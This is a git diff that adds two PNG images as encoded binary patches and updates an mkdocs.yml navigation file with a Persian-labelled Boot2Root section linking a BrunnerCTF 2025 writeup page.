z`$h2Rcd++erTibyYwvf~L!K&9XP)UxQEiSs)G&8*q}EO4mP=q+B14^Lyn)CVOlAlF zoNyicD6GJVO9a$d`n-K-5Oa8ZhSFe;-VU_5r2dJfKH`eH0S~I!P^nCfv6?0D=SQ=z zK9Wh};I&khechs81b48pFXeb>#WO0qV73PU`HA<%^TNf~!0k(r@{O~8f6G}(miV5H z6=cKn%g6p=NA`k#{|?LlSw8AP=h|NRcGuBrETP8h?HWT&X|jSg9KTVPyDaP&?+Bw% zXcGpB2eX}@bR(!v4r=$=fibC$7%o1k=lyU6NT=j|rBvN>pDutOeXCof^Gvt~nHk)b5)YGjo*jc`xeR zp};^BN(6SXE%NoOxuUY@yI#cuqL10c5PK=_&*#4o$D8_XJ30^ifnsyn?K&GwPc{7D zyg*cTjrK?seNte+#=wCkA#Rbc5F6y~8Dw4rOyTubxe|9QLRDqwu?tCU$a!hBmG{oa zQo1e9dfT++U-a)fTaljaAQKn!<2%6MWYY5c`Fv;56MXnKRLm(h)a?)W2fNE8Vs=c( zCflFS7jo?svC!%B!r+?GOv_DUk1Y}>Th>=vj9kATP!WFoW^%!vK83d@>%-%QX3u?( z6kPr0X1#{}G>~5WYkAnyQ*lD=&&U3Y9kZOLs}p+oykjzmoQs@A?-(6e{?<-Y%&A#2}gH!TJ{< zXb@CEy9?q9yQJX%3vihxdpayKvab18YKNR3a1zQp!P~_8RAM^i=2%>R3zH$ai)@K^B948}7P^YRzB1bZs|bjXk!%$okL%aRQk2 zUpND<0|RhwZvM#9rz#Ic6_pfbEiM3%OB&iLpSRxyU6w33#~qo3o|~Ry&E(9bpv9_D z!Ctr%KuPkbU23LxDFA*Ck-?eZ<%ZtV-?U@Dc{uHR{9WO{S5a#32&nU7RbzJA*z2aP Mse85X3i9{=0KxMq$N&HU literal 0 HcmV?d00001 diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png new file mode 100644 index 0000000000000000000000000000000000000000..d9d5a2b72b724154f81fcb3d1c21dff21bcc0e4e GIT binary patch literal 9136 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 O082A#)1oui?*0q>ZzEm+ literal 0 HcmV?d00001 diff --git a/mkdocs.yml b/mkdocs.yml index 1d005cf7..cab76405 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -367,6 +367,11 @@ nav: #- پنهان نگاری: # - steganography/index.md + - Boot2Root: + - Boot2Root/index.md + - رایتاپ‌های ۲۰۲۵: + - BrunnerCTF2025: # 24 Aug. 2025 + - Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md - متفرقه: - misc/index.md @@ -396,9 +401,7 @@ nav: - misc/writeups/2023/PingCTF/ping-arcade.md - misc/writeups/2023/PingCTF/wow.md - misc/writeups/2023/PingCTF/you-spin-me-round.md - - - + - وبلاگ: - blog/index.md